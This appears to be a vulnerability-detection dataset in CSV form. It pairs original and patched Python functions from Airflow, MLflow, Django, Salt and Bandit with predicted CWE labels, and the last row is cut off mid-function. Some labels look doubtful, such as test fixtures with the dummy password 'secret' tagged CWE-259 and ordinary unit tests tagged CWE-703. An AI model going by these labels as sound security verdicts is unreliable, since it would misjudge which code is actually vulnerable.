__source_file,cve_ids,cwe_ids,file_path,class,patched_function_source,predicted_cwe_ids,repo,sha,function_code
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/common/io/xcom/backend.py,0,"def serialize_value(
        value: T,
        *,
        key: str | None = None,
        task_id: str | None = None,
        dag_id: str | None = None,
        run_id: str | None = None,
        map_index: int | None = None,
    ) -> bytes | str:
        # we will always serialize ourselves and not by BaseXCom as the deserialize method
        # from BaseXCom accepts only XCom objects and not the value directly
        s_val = json.dumps(value, cls=XComEncoder).encode(""utf-8"")

        if compression := _get_compression():
            suffix = f"".{_get_compression_suffix(compression)}""
        else:
            suffix = """"

        threshold = _get_threshold()
        if threshold < 0 or len(s_val) < threshold:  # Either no threshold or value is small enough.
            return s_val

        base_path = _get_base_path()
        while True:  # Safeguard against collisions.
            p = base_path.joinpath(
                dag_id or ""NO_DAG_ID"",
                run_id or ""NO_RUN_ID"",
                task_id or ""NO_TASK_ID"",
                f""{uuid.uuid4()}{suffix}"",
            )
            if not p.exists():
                break
        p.parent.mkdir(parents=True, exist_ok=True)

        with p.open(mode=""wb"", compression=compression) as f:
            f.write(s_val)
        return BaseXCom.serialize_value(str(p))",CWE-Unknown,apache/airflow,3304c2a548022ba9d8c40440a70b913cfa2ee79e,"def serialize_value(
        value: T,
        *,
        key: str | None = None,
        task_id: str | None = None,
        dag_id: str | None = None,
        run_id: str | None = None,
        map_index: int | None = None,
    ) -> bytes | str:
        # we will always serialize ourselves and not by BaseXCom as the deserialize method
        # from BaseXCom accepts only XCom objects and not the value directly
        s_val = json.dumps(value, cls=XComEncoder).encode(""utf-8"")

        if compression := _get_compression():
            suffix = f"".{_get_compression_suffix(compression)}""
        else:
            suffix = """"

        threshold = _get_threshold()
        if threshold < 0 or len(s_val) < threshold:  # Either no threshold or value is small enough.
            return s_val

        base_path = _get_base_path()
        while True:  # Safeguard against collisions.
            p = base_path.joinpath(dag_id, run_id, task_id, f""{uuid.uuid4()}{suffix}"")
            if not p.exists():
                break
        p.parent.mkdir(parents=True, exist_ok=True)

        with p.open(mode=""wb"", compression=compression) as f:
            f.write(s_val)
        return BaseXCom.serialize_value(str(p))"
,UNKNOWN,UNKNOWN,tests/paddle/test_paddle_autolog.py,1,"def test_autolog_log_models_configuration(log_models):
    mlflow.paddle.autolog(log_models=log_models)

    with mlflow.start_run() as run:
        train_model()

    MlflowClient().list_artifacts(run.info.run_id)
    assert (mlflow.last_logged_model() is not None) == log_models",CWE-703,mlflow/mlflow,5536b90a4feffcf8229076bafb374d8b84ec2dfa,"def test_autolog_log_models_configuration(log_models):
    mlflow.paddle.autolog(log_models=log_models)

    with mlflow.start_run() as run:
        train_model()

    artifacts = MlflowClient().list_artifacts(run.info.run_id)
    assert any(x.path == ""model"" for x in artifacts) == log_models"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/forms/widgets.py,0,"def get_context(self, name, value, attrs):
        context = super().get_context(name, value, attrs)
        checkbox_name = self.clear_checkbox_name(name)
        checkbox_id = self.clear_checkbox_id(checkbox_name)
        context[""widget""].update(
            {
                ""checkbox_name"": checkbox_name,
                ""checkbox_id"": checkbox_id,
                ""is_initial"": self.is_initial(value),
                ""input_text"": self.input_text,
                ""initial_text"": self.initial_text,
                ""clear_checkbox_label"": self.clear_checkbox_label,
            }
        )
        context[""widget""][""attrs""].setdefault(""disabled"", False)
        return context",CWE-Unknown,django/django,9942f3fb490f56bf28ee69f0a07f3eb62e7d3ab3,"def get_context(self, name, value, attrs):
        context = super().get_context(name, value, attrs)
        checkbox_name = self.clear_checkbox_name(name)
        checkbox_id = self.clear_checkbox_id(checkbox_name)
        context[""widget""].update(
            {
                ""checkbox_name"": checkbox_name,
                ""checkbox_id"": checkbox_id,
                ""is_initial"": self.is_initial(value),
                ""input_text"": self.input_text,
                ""initial_text"": self.initial_text,
                ""clear_checkbox_label"": self.clear_checkbox_label,
            }
        )
        return context"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/serialization/test_dag_serialization.py,1,"def test_handle_v1_serdag():
    v1 = {
        ""__version"": 1,
        ""dag"": {
            ""default_args"": {
                ""__type"": ""dict"",
                ""__var"": {
                    ""depends_on_past"": False,
                    ""retries"": 1,
                    ""retry_delay"": {""__type"": ""timedelta"", ""__var"": 300.0},
                    ""max_retry_delay"": {""__type"": ""timedelta"", ""__var"": 600.0},
                    ""sla"": {""__type"": ""timedelta"", ""__var"": 100.0},
                },
            },
            ""start_date"": 1564617600.0,
            ""_task_group"": {
                ""_group_id"": None,
                ""prefix_group_id"": True,
                ""children"": {
                    ""bash_task"": (""operator"", ""bash_task""),
                    ""custom_task"": (""operator"", ""custom_task""),
                },
                ""tooltip"": """",
                ""ui_color"": ""CornflowerBlue"",
                ""ui_fgcolor"": ""#000"",
                ""upstream_group_ids"": [],
                ""downstream_group_ids"": [],
                ""upstream_task_ids"": [],
                ""downstream_task_ids"": [],
            },
            ""is_paused_upon_creation"": False,
            ""_dag_id"": ""simple_dag"",
            ""doc_md"": ""### DAG Tutorial Documentation"",
            ""fileloc"": None,
            ""_processor_dags_folder"": (
                AIRFLOW_REPO_ROOT_PATH / ""airflow-core"" / ""tests"" / ""unit"" / ""dags""
            ).as_posix(),
            ""tasks"": [
                {
                    ""__type"": ""operator"",
                    ""__var"": {
                        ""task_id"": ""bash_task"",
                        ""retries"": 1,
                        ""retry_delay"": 300.0,
                        ""max_retry_delay"": 600.0,
                        ""sla"": 100.0,
                        ""downstream_task_ids"": [],
                        ""ui_color"": ""#f0ede4"",
                        ""ui_fgcolor"": ""#000"",
                        ""template_ext"": ["".sh"", "".bash""],
                        ""template_fields"": [""bash_command"", ""env"", ""cwd""],
                        ""template_fields_renderers"": {""bash_command"": ""bash"", ""env"": ""json""},
                        ""bash_command"": ""echo {{ task.task_id }}"",
                        ""_task_type"": ""BashOperator"",
                        # Slightly difference from v2-10-stable here, we manually changed this path
                        ""_task_module"": ""airflow.providers.standard.operators.bash"",
                        ""pool"": ""default_pool"",
                        ""is_setup"": False,
                        ""is_teardown"": False,
                        ""on_failure_fail_dagrun"": False,
                        ""executor_config"": {
                            ""__type"": ""dict"",
                            ""__var"": {
                                ""pod_override"": {
                                    ""__type"": ""k8s.V1Pod"",
                                    ""__var"": PodGenerator.serialize_pod(executor_config_pod),
                                }
                            },
                        },
                        ""doc_md"": ""### Task Tutorial Documentation"",
                        ""_log_config_logger_name"": ""airflow.task.operators"",
                        ""_needs_expansion"": False,
                        ""weight_rule"": ""downstream"",
                        ""start_trigger_args"": None,
                        ""start_from_trigger"": False,
                        ""inlets"": [
                            {
                                ""__type"": ""dataset"",
                                ""__var"": {
                                    ""extra"": {},
                                    ""uri"": ""asset-1"",
                                },
                            },
                            {
                                ""__type"": ""dataset_alias"",
                                ""__var"": {""name"": ""alias-name""},
                            },
                        ],
                        ""outlets"": [
                            {
                                ""__type"": ""dataset"",
                                ""__var"": {
                                    ""extra"": {},
                                    ""uri"": ""asset-2"",
                                },
                            },
                        ],
                    },
                },
                {
                    ""__type"": ""operator"",
                    ""__var"": {
                        ""task_id"": ""custom_task"",
                        ""retries"": 1,
                        ""retry_delay"": 300.0,
                        ""max_retry_delay"": 600.0,
                        ""sla"": 100.0,
                        ""downstream_task_ids"": [],
                        ""_operator_extra_links"": [{""tests.test_utils.mock_operators.CustomOpLink"": {}}],
                        ""ui_color"": ""#fff"",
                        ""ui_fgcolor"": ""#000"",
                        ""template_ext"": [],
                        ""template_fields"": [""bash_command""],
                        ""template_fields_renderers"": {},
                        ""_task_type"": ""CustomOperator"",
                        ""_operator_name"": ""@custom"",
                        # Slightly difference from v2-10-stable here, we manually changed this path
                        ""_task_module"": ""tests_common.test_utils.mock_operators"",
                        ""pool"": ""default_pool"",
                        ""is_setup"": False,
                        ""is_teardown"": False,
                        ""on_failure_fail_dagrun"": False,
                        ""_log_config_logger_name"": ""airflow.task.operators"",
                        ""_needs_expansion"": False,
                        ""weight_rule"": ""downstream"",
                        ""start_trigger_args"": None,
                        ""start_from_trigger"": False,
                    },
                },
            ],
            ""schedule_interval"": {""__type"": ""timedelta"", ""__var"": 86400.0},
            ""timezone"": ""UTC"",
            ""_access_control"": {
                ""__type"": ""dict"",
                ""__var"": {
                    ""test_role"": {
                        ""__type"": ""dict"",
                        ""__var"": {
                            ""DAGs"": {
                                ""__type"": ""set"",
                                ""__var"": [permissions.ACTION_CAN_READ, permissions.ACTION_CAN_EDIT],
                            }
                        },
                    }
                },
            },
            ""edge_info"": {},
            ""dag_dependencies"": [
                # dataset as schedule (source)
                {
                    ""source"": ""dataset"",
                    ""target"": ""dag1"",
                    ""dependency_type"": ""dataset"",
                    ""dependency_id"": ""dataset_uri_1"",
                },
                # dataset alias (resolved) as schedule (source)
                {
                    ""source"": ""dataset"",
                    ""target"": ""dataset-alias:alias_name_1"",
                    ""dependency_type"": ""dataset"",
                    ""dependency_id"": ""dataset_uri_2"",
                },
                {
                    ""source"": ""dataset:alias_name_1"",
                    ""target"": ""dag2"",
                    ""dependency_type"": ""dataset-alias"",
                    ""dependency_id"": ""alias_name_1"",
                },
                # dataset alias (not resolved) as schedule (source)
                {
                    ""source"": ""dataset-alias"",
                    ""target"": ""dag2"",
                    ""dependency_type"": ""dataset-alias"",
                    ""dependency_id"": ""alias_name_2"",
                },
                # dataset as outlets (target)
                {
                    ""source"": ""dag10"",
                    ""target"": ""dataset"",
                    ""dependency_type"": ""dataset"",
                    ""dependency_id"": ""dataset_uri_10"",
                },
                # dataset alias (resolved) as outlets (target)
                {
                    ""source"": ""dag20"",
                    ""target"": ""dataset-alias:alias_name_10"",
                    ""dependency_type"": ""dataset"",
                    ""dependency_id"": ""dataset_uri_20"",
                },
                {
                    ""source"": ""dataset:dataset_uri_20"",
                    ""target"": ""dataset-alias"",
                    ""dependency_type"": ""dataset-alias"",
                    ""dependency_id"": ""alias_name_10"",
                },
                # dataset alias (not resolved) as outlets (target)
                {
                    ""source"": ""dag2"",
                    ""target"": ""dataset-alias"",
                    ""dependency_type"": ""dataset-alias"",
                    ""dependency_id"": ""alias_name_2"",
                },
            ],
            ""params"": [],
        },
    }
    expected_dag_dependencies = [
        # asset as schedule (source)
        {
            ""dependency_id"": ""dataset_uri_1"",
            ""dependency_type"": ""asset"",
            ""label"": ""dataset_uri_1"",
            ""source"": ""asset"",
            ""target"": ""dag1"",
        },
        # asset alias (resolved) as schedule (source)
        {
            ""dependency_id"": ""dataset_uri_2"",
            ""dependency_type"": ""asset"",
            ""label"": ""dataset_uri_2"",
            ""source"": ""asset"",
            ""target"": ""asset-alias:alias_name_1"",
        },
        {
            ""dependency_id"": ""alias_name_1"",
            ""dependency_type"": ""asset-alias"",
            ""label"": ""alias_name_1"",
            ""source"": ""asset:alias_name_1"",
            ""target"": ""dag2"",
        },
        # asset alias (not resolved) as schedule (source)
        {
            ""dependency_id"": ""alias_name_2"",
            ""dependency_type"": ""asset-alias"",
            ""label"": ""alias_name_2"",
            ""source"": ""asset-alias"",
            ""target"": ""dag2"",
        },
        # asset as outlets (target)
        {
            ""dependency_id"": ""dataset_uri_10"",
            ""dependency_type"": ""asset"",
            ""label"": ""dataset_uri_10"",
            ""source"": ""dag10"",
            ""target"": ""asset"",
        },
        # asset alias (resolved) as outlets (target)
        {
            ""dependency_id"": ""dataset_uri_20"",
            ""dependency_type"": ""asset"",
            ""label"": ""dataset_uri_20"",
            ""source"": ""dag20"",
            ""target"": ""asset-alias:alias_name_10"",
        },
        {
            ""dependency_id"": ""alias_name_10"",
            ""dependency_type"": ""asset-alias"",
            ""label"": ""alias_name_10"",
            ""source"": ""asset:dataset_uri_20"",
            ""target"": ""asset-alias"",
        },
        # asset alias (not resolved) as outlets (target)
        {
            ""dependency_id"": ""alias_name_2"",
            ""dependency_type"": ""asset-alias"",
            ""label"": ""alias_name_2"",
            ""source"": ""dag2"",
            ""target"": ""asset-alias"",
        },
    ]

    SerializedDAG.conversion_v1_to_v2(v1)

    # Update a few subtle differences
    v1[""dag""][""tags""] = []
    v1[""dag""][""catchup""] = False
    v1[""dag""][""disable_bundle_versioning""] = False

    expected = copy.deepcopy(serialized_simple_dag_ground_truth)
    expected[""dag""][""dag_dependencies""] = expected_dag_dependencies
    del expected[""dag""][""tasks""][1][""__var""][""_operator_extra_links""]

    assert v1 == expected",CWE-703,apache/airflow,65c4900bd7bc4cc1d5227f68dbbc2e5a33f4eaf4,"def test_handle_v1_serdag():
    v1 = {
        ""__version"": 1,
        ""dag"": {
            ""default_args"": {
                ""__type"": ""dict"",
                ""__var"": {
                    ""depends_on_past"": False,
                    ""retries"": 1,
                    ""retry_delay"": {""__type"": ""timedelta"", ""__var"": 300.0},
                    ""max_retry_delay"": {""__type"": ""timedelta"", ""__var"": 600.0},
                    ""sla"": {""__type"": ""timedelta"", ""__var"": 100.0},
                },
            },
            ""start_date"": 1564617600.0,
            ""_task_group"": {
                ""_group_id"": None,
                ""prefix_group_id"": True,
                ""children"": {
                    ""bash_task"": (""operator"", ""bash_task""),
                    ""custom_task"": (""operator"", ""custom_task""),
                },
                ""tooltip"": """",
                ""ui_color"": ""CornflowerBlue"",
                ""ui_fgcolor"": ""#000"",
                ""upstream_group_ids"": [],
                ""downstream_group_ids"": [],
                ""upstream_task_ids"": [],
                ""downstream_task_ids"": [],
            },
            ""is_paused_upon_creation"": False,
            ""_dag_id"": ""simple_dag"",
            ""doc_md"": ""### DAG Tutorial Documentation"",
            ""fileloc"": None,
            ""_processor_dags_folder"": (
                AIRFLOW_REPO_ROOT_PATH / ""airflow-core"" / ""tests"" / ""unit"" / ""dags""
            ).as_posix(),
            ""tasks"": [
                {
                    ""__type"": ""operator"",
                    ""__var"": {
                        ""task_id"": ""bash_task"",
                        ""retries"": 1,
                        ""retry_delay"": 300.0,
                        ""max_retry_delay"": 600.0,
                        ""sla"": 100.0,
                        ""downstream_task_ids"": [],
                        ""ui_color"": ""#f0ede4"",
                        ""ui_fgcolor"": ""#000"",
                        ""template_ext"": ["".sh"", "".bash""],
                        ""template_fields"": [""bash_command"", ""env"", ""cwd""],
                        ""template_fields_renderers"": {""bash_command"": ""bash"", ""env"": ""json""},
                        ""bash_command"": ""echo {{ task.task_id }}"",
                        ""_task_type"": ""BashOperator"",
                        # Slightly difference from v2-10-stable here, we manually changed this path
                        ""_task_module"": ""airflow.providers.standard.operators.bash"",
                        ""pool"": ""default_pool"",
                        ""is_setup"": False,
                        ""is_teardown"": False,
                        ""on_failure_fail_dagrun"": False,
                        ""executor_config"": {
                            ""__type"": ""dict"",
                            ""__var"": {
                                ""pod_override"": {
                                    ""__type"": ""k8s.V1Pod"",
                                    ""__var"": PodGenerator.serialize_pod(executor_config_pod),
                                }
                            },
                        },
                        ""doc_md"": ""### Task Tutorial Documentation"",
                        ""_log_config_logger_name"": ""airflow.task.operators"",
                        ""_needs_expansion"": False,
                        ""weight_rule"": ""downstream"",
                        ""start_trigger_args"": None,
                        ""start_from_trigger"": False,
                        ""inlets"": [
                            {
                                ""__type"": ""dataset"",
                                ""__var"": {
                                    ""extra"": {},
                                    ""uri"": ""asset-1"",
                                },
                            },
                            {
                                ""__type"": ""dataset_alias"",
                                ""__var"": {""name"": ""alias-name""},
                            },
                        ],
                        ""outlets"": [
                            {
                                ""__type"": ""dataset"",
                                ""__var"": {
                                    ""extra"": {},
                                    ""uri"": ""asset-2"",
                                },
                            },
                        ],
                    },
                },
                {
                    ""__type"": ""operator"",
                    ""__var"": {
                        ""task_id"": ""custom_task"",
                        ""retries"": 1,
                        ""retry_delay"": 300.0,
                        ""max_retry_delay"": 600.0,
                        ""sla"": 100.0,
                        ""downstream_task_ids"": [],
                        ""_operator_extra_links"": [{""tests.test_utils.mock_operators.CustomOpLink"": {}}],
                        ""ui_color"": ""#fff"",
                        ""ui_fgcolor"": ""#000"",
                        ""template_ext"": [],
                        ""template_fields"": [""bash_command""],
                        ""template_fields_renderers"": {},
                        ""_task_type"": ""CustomOperator"",
                        ""_operator_name"": ""@custom"",
                        # Slightly difference from v2-10-stable here, we manually changed this path
                        ""_task_module"": ""tests_common.test_utils.mock_operators"",
                        ""pool"": ""default_pool"",
                        ""is_setup"": False,
                        ""is_teardown"": False,
                        ""on_failure_fail_dagrun"": False,
                        ""_log_config_logger_name"": ""airflow.task.operators"",
                        ""_needs_expansion"": False,
                        ""weight_rule"": ""downstream"",
                        ""start_trigger_args"": None,
                        ""start_from_trigger"": False,
                    },
                },
            ],
            ""schedule_interval"": {""__type"": ""timedelta"", ""__var"": 86400.0},
            ""timezone"": ""UTC"",
            ""_access_control"": {
                ""__type"": ""dict"",
                ""__var"": {
                    ""test_role"": {
                        ""__type"": ""dict"",
                        ""__var"": {
                            ""DAGs"": {
                                ""__type"": ""set"",
                                ""__var"": [permissions.ACTION_CAN_READ, permissions.ACTION_CAN_EDIT],
                            }
                        },
                    }
                },
            },
            ""edge_info"": {},
            ""dag_dependencies"": [
                {
                    ""dependency_id"": '{""name"": ""asset-2"", ""uri"": ""asset-2""}',
                    ""dependency_type"": ""asset"",
                    ""label"": ""asset-2"",
                    ""source"": ""simple_dag"",
                    ""target"": ""asset"",
                },
            ],
            ""params"": [],
        },
    }

    SerializedDAG.conversion_v1_to_v2(v1)

    # Update a few subtle differences
    v1[""dag""][""tags""] = []
    v1[""dag""][""catchup""] = False
    v1[""dag""][""disable_bundle_versioning""] = False

    expected = copy.deepcopy(serialized_simple_dag_ground_truth)
    del expected[""dag""][""tasks""][1][""__var""][""_operator_extra_links""]

    assert v1 == expected"
,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,1,"def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(
            username=""super"", password=""secret"", email=""super@example.com""
        )
        cls.deleteuser = User.objects.create_user(
            username=""deleteuser"", password=""secret"", is_staff=True
        )
        cls.s1 = Section.objects.create(name=""Test section"")
        cls.a1 = Article.objects.create(
            content=""<p>Middle content</p>"",
            date=datetime.datetime(2008, 3, 18, 11, 54, 58),
            section=cls.s1,
        )
        cls.a2 = Article.objects.create(
            content=""<p>Oldest content</p>"",
            date=datetime.datetime(2000, 3, 18, 11, 54, 58),
            section=cls.s1,
        )
        cls.a3 = Article.objects.create(
            content=""<p>Newest content</p>"",
            date=datetime.datetime(2009, 3, 18, 11, 54, 58),
            section=cls.s1,
        )
        cls.p1 = PrePopulatedPost.objects.create(
            title=""A Long Title"", published=True, slug=""a-long-title""
        )

        cls.v1 = Villain.objects.create(name=""Adam"")
        cls.v2 = Villain.objects.create(name=""Sue"")
        cls.sv1 = SuperVillain.objects.create(name=""Bob"")
        cls.pl1 = Plot.objects.create(
            name=""World Domination"", team_leader=cls.v1, contact=cls.v2
        )
        cls.pl2 = Plot.objects.create(
            name=""World Peace"", team_leader=cls.v2, contact=cls.v2
        )
        cls.pl3 = Plot.objects.create(
            name=""Corn Conspiracy"", team_leader=cls.v1, contact=cls.v1
        )
        cls.pd1 = PlotDetails.objects.create(details=""almost finished"", plot=cls.pl1)
        cls.sh1 = SecretHideout.objects.create(
            location=""underground bunker"", villain=cls.v1
        )
        cls.sh2 = SecretHideout.objects.create(
            location=""floating castle"", villain=cls.sv1
        )
        cls.ssh1 = SuperSecretHideout.objects.create(
            location=""super floating castle!"", supervillain=cls.sv1
        )
        cls.cy1 = CyclicOne.objects.create(pk=1, name=""I am recursive"", two_id=1)
        cls.cy2 = CyclicTwo.objects.create(pk=1, name=""I am recursive too"", one_id=1)",CWE-259,django/django,29b6a177d81b9a8d833529bebfc67ef48bda3c7f,"def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(
            username=""super"", password=""secret"", email=""super@example.com""
        )
        cls.deleteuser = User.objects.create_user(
            username=""deleteuser"", password=""secret"", is_staff=True
        )
        cls.s1 = Section.objects.create(name=""Test section"")
        cls.a1 = Article.objects.create(
            content=""<p>Middle content</p>"",
            date=datetime.datetime(2008, 3, 18, 11, 54, 58),
            section=cls.s1,
        )
        cls.a2 = Article.objects.create(
            content=""<p>Oldest content</p>"",
            date=datetime.datetime(2000, 3, 18, 11, 54, 58),
            section=cls.s1,
        )
        cls.a3 = Article.objects.create(
            content=""<p>Newest content</p>"",
            date=datetime.datetime(2009, 3, 18, 11, 54, 58),
            section=cls.s1,
        )
        cls.p1 = PrePopulatedPost.objects.create(
            title=""A Long Title"", published=True, slug=""a-long-title""
        )

        cls.v1 = Villain.objects.create(name=""Adam"")
        cls.v2 = Villain.objects.create(name=""Sue"")
        cls.sv1 = SuperVillain.objects.create(name=""Bob"")
        cls.pl1 = Plot.objects.create(
            name=""World Domination"", team_leader=cls.v1, contact=cls.v2
        )
        cls.pl2 = Plot.objects.create(
            name=""World Peace"", team_leader=cls.v2, contact=cls.v2
        )
        cls.pl3 = Plot.objects.create(
            name=""Corn Conspiracy"", team_leader=cls.v1, contact=cls.v1
        )
        cls.pd1 = PlotDetails.objects.create(details=""almost finished"", plot=cls.pl1)
        cls.sh1 = SecretHideout.objects.create(
            location=""underground bunker"", villain=cls.v1
        )
        cls.sh2 = SecretHideout.objects.create(
            location=""floating castle"", villain=cls.sv1
        )
        cls.ssh1 = SuperSecretHideout.objects.create(
            location=""super floating castle!"", supervillain=cls.sv1
        )
        cls.cy1 = CyclicOne.objects.create(name=""I am recursive"", two_id=1)
        cls.cy2 = CyclicTwo.objects.create(name=""I am recursive too"", one_id=1)"
,UNKNOWN,UNKNOWN,tests/regressiontests/admin_views/tests.py,1,"def test_shortcut_view_only_available_to_staff(self):
        """"""
        Only admin users should be able to use the admin shortcut view.
        """"""
        user_ctype = ContentType.objects.get_for_model(User)
        user = User.objects.get(username='super')
        shortcut_url = ""/test_admin/admin/r/%s/%s/"" % (user_ctype.pk, user.pk)

        # Not logged in: we should see the login page.
        response = self.client.get(shortcut_url, follow=False)
        self.assertTemplateUsed(response, 'admin/login.html')

        # Logged in? Redirect.
        self.client.login(username='super', password='secret')
        response = self.client.get(shortcut_url, follow=False)
        # Can't use self.assertRedirects() because User.get_absolute_url() is silly.
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response.url, 'http://example.com/users/super/')",CWE-259,django/django,e94f405d9499d310ef58b7409a98759a5f5512b0,"def test_shortcut_view_only_available_to_staff(self):
        """"""
        Only admin users should be able to use the admin shortcut view.
        """"""
        user_ctype = ContentType.objects.get_for_model(User)
        user = User.objects.get(username='super')
        shortcut_url = ""/test_admin/admin/r/%s/%s/"" % (user_ctype.pk, user.pk)

        # Not logged in: we should see the login page.
        response = self.client.get(shortcut_url, follow=False)
        self.assertTemplateUsed(response, 'admin/login.html')

        # Logged in? Redirect.
        self.client.login(username='super', password='secret')
        response = self.client.get(shortcut_url, follow=False)
        # Can't use self.assertRedirects() because User.get_absolute_url() is silly.
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response['Location'], 'http://example.com/users/super/')"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_win_wusa.py,1,"def test_installed_cache_fail(kb):
    """"""
    test wusa.install when it fails to cache the file
    """"""
    mock_installed = MagicMock(return_value=False)
    mock_cache = MagicMock(return_value="""")
    with patch.dict(
        wusa.__salt__,
        {""wusa.is_installed"": mock_installed, ""cp.cache_file"": mock_cache},
    ):
        returned = wusa.installed(name=kb, source=""salt://{}.msu"".format(kb))
        expected = {
            ""changes"": {},
            ""comment"": 'Unable to cache salt://{}.msu from saltenv ""base""'.format(kb),
            ""name"": kb,
            ""result"": False,
        }
        assert expected == returned",CWE-703,saltstack/salt,536e103cc26b63c25d0a6537135fce175c55cdf6,"def test_installed_cache_fail(kb):
    """"""
    test wusa.install when it fails to cache the file
    """"""
    mock_installed = MagicMock(return_value=False)
    mock_cache = MagicMock(return_value="""")
    with patch.dict(
        wusa.__salt__,
        {""wusa.is_installed"": mock_installed, ""cp.cache_file"": mock_cache},
    ):
        returned = wusa.installed(name=kb, source=""salt://{}.msu"".format(kb))
        expected = {
            ""changes"": {},
            ""comment"": ""Unable to cache salt://{}.msu from ""
            'saltenv ""base""'.format(kb),
            ""name"": kb,
            ""result"": False,
        }
        assert expected == returned"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/formatters/html.py,0,"def report(manager, filename, sev_level, conf_level, lines=-1):
    """"""Writes issues to 'filename' in HTML format

    :param manager: the bandit manager object
    :param filename: output file name
    :param sev_level: Filtering severity level
    :param conf_level: Filtering confidence level
    :param lines: Number of lines to report, -1 for all
    """"""

    header_block = u""""""
<!DOCTYPE html>
<html>
<head>

<title>
    Bandit Report
</title>

<style>

html * {
    font-family: ""Arial"", sans-serif;
}

pre {
    font-family: ""Monaco"", monospace;
}

.bordered-box {
    border: 1px solid black;
    padding-top:.5em;
    padding-bottom:.5em;
    padding-left:1em;

}

.metrics-box {
    font-size: 1.1em;
    line-height: 130%;
}

.metrics-title {
    font-size: 1.5em;
    font-weight: 500;
    margin-bottom: .25em;
}

.issue-description {
    font-size: 1.3em;
    font-weight: 500;
}

.candidate-issues {
    margin-left: 2em;
    border-left: solid 1px; LightGray;
    padding-left: 5%;
    margin-top: .2em;
    margin-bottom: .2em;
}

.issue-block {
    border: 1px solid LightGray;
    padding-left: .5em;
    padding-top: .5em;
    padding-bottom: .5em;
    margin-bottom: .5em;
}

.issue-sev-high {
    background-color: Pink;
}

.issue-sev-medium {
    background-color: NavajoWhite;
}

.issue-sev-low {
    background-color: LightCyan;
}

</style>
</head>
""""""

    report_block = u""""""
<body>
{metrics}
{skipped}

<br>
<span id='results'>
    {results}
</span>

</body>
</html>
""""""

    issue_block = u""""""
<span id='issue-{issue_no}'>
<div class='issue-block {issue_class}'>
    <b>{test_name}: </b> {test_text}<br>
    <b>Test ID:</b> {test_id}<br>
    <b>Severity: </b>{severity}<br />
    <b>Confidence: </b>{confidence}</br />
    <b>File: </b><a href='{path}' target='_blank'>{path}</a> <br />
{code}
{candidates}
</div>
</span>
""""""

    code_block = u""""""
<span id='code'>
<pre>
{code}
</pre>
</span>
""""""

    candidate_block = u""""""
<span id='candidates'>
<br>
<b>Candidates: </b>
{candidate_list}
</span>
""""""

    candidate_issue = u""""""
<span id='candidate'>
<div class='candidate-issues'>
<pre>{code}</pre>
</div>
</span>
""""""

    skipped_block = u""""""
<br>
<span id='skipped'>
<div class='bordered-box'>
<b>Skipped files:</b><br><br>
{files_list}
</div>
</span>
""""""

    metrics_block = u""""""
<span id='metrics'>
    <div class='metrics-box bordered-box'>
        <div class='metrics-title'>
            Metrics:<br>
        </div>
        Total lines of code: <span id='loc'>{loc}</span><br>
        Total lines skipped (#nosec): <span id='nosec'>{nosec}</span>
    </div>
</span>

""""""

    issues = manager.get_issue_list(sev_level=sev_level, conf_level=conf_level)

    baseline = not isinstance(issues, list)

    # build the skipped string to insert in the report
    skipped_str = ''.join('%s - %s\n' % (fname, reason)
                          for fname, reason in manager.skipped)
    if skipped_str:
        skipped_text = skipped_block.format(files_list=skipped_str)
    else:
        skipped_text = ''

    # build the results string to insert in the report
    results_str = ''
    for index, issue in enumerate(issues):
        if not baseline or len(issues[issue]) == 1:
            candidates = ''
            code = code_block.format(code=issue.get_code(lines, True).
                                     strip('\n').lstrip(' '))
        else:
            candidates_str = ''
            code = ''
            for candidate in issues[issue]:
                candidate_code = (candidate.get_code(lines, True).strip('\n').
                                  lstrip(' '))
                candidates_str += candidate_issue.format(code=candidate_code)

            candidates = candidate_block.format(candidate_list=candidates_str)

        results_str += issue_block.format(issue_no=index,
                                          issue_class='issue-sev-{}'.
                                          format(issue.severity.lower()),
                                          test_name=issue.test,
                                          test_id=issue.test_id,
                                          test_text=issue.text,
                                          severity=issue.severity,
                                          confidence=issue.confidence,
                                          path=issue.fname, code=code,
                                          candidates=candidates)

    # build the metrics string to insert in the report
    metrics_summary = metrics_block.format(
        loc=manager.metrics.data['_totals']['loc'],
        nosec=manager.metrics.data['_totals']['nosec'])

    # build the report and output it
    report_contents = report_block.format(metrics=metrics_summary,
                                          skipped=skipped_text,
                                          results=results_str)

    with utils.output_file(filename, 'w') as fout:
        fout.write(str(header_block.encode('utf-8')))
        fout.write(str(report_contents.encode('utf-8')))

    if filename is not None:
        logger.info(""HTML output written to file: %s"" % filename)",UNKNOWN,PyCQA/bandit,a047e0fec0fbd000740ce86c51792da88118eb03,"def report(manager, filename, sev_level, conf_level, lines=-1):
    """"""Writes issues to 'filename' in HTML format

    :param manager: the bandit manager object
    :param filename: output file name
    :param sev_level: Filtering severity level
    :param conf_level: Filtering confidence level
    :param lines: Number of lines to report, -1 for all
    """"""

    header_block = u""""""
<!DOCTYPE html>
<html>
<head>

<title>
    Bandit Report
</title>

<style>

html * {
    font-family: ""Arial"", sans-serif;
}

pre {
    font-family: ""Monaco"", monospace;
}

.bordered-box {
    border: 1px solid black;
    padding-top:.5em;
    padding-bottom:.5em;
    padding-left:1em;

}

.metrics-box {
    font-size: 1.1em;
    line-height: 130%;
}

.metrics-title {
    font-size: 1.5em;
    font-weight: 500;
    margin-bottom: .25em;
}

.issue-description {
    font-size: 1.3em;
    font-weight: 500;
}

.candidate-issues {
    margin-left: 2em;
    border-left: solid 1px; LightGray;
    padding-left: 5%;
    margin-top: .2em;
    margin-bottom: .2em;
}

.issue-block {
    border: 1px solid LightGray;
    padding-left: .5em;
    padding-top: .5em;
    padding-bottom: .5em;
    margin-bottom: .5em;
}

.issue-sev-high {
    background-color: Pink;
}

.issue-sev-medium {
    background-color: NavajoWhite;
}

.issue-sev-low {
    background-color: LightCyan;
}

</style>
</head>
""""""

    report_block = u""""""
<body>
{metrics}
{skipped}

<br>
<span id='results'>
    {results}
</span>

</body>
</html>
""""""

    issue_block = u""""""
<span id='issue-{issue_no}'>
<div class='issue-block {issue_class}'>
    <b>{test_name}: </b> {test_text}<br>
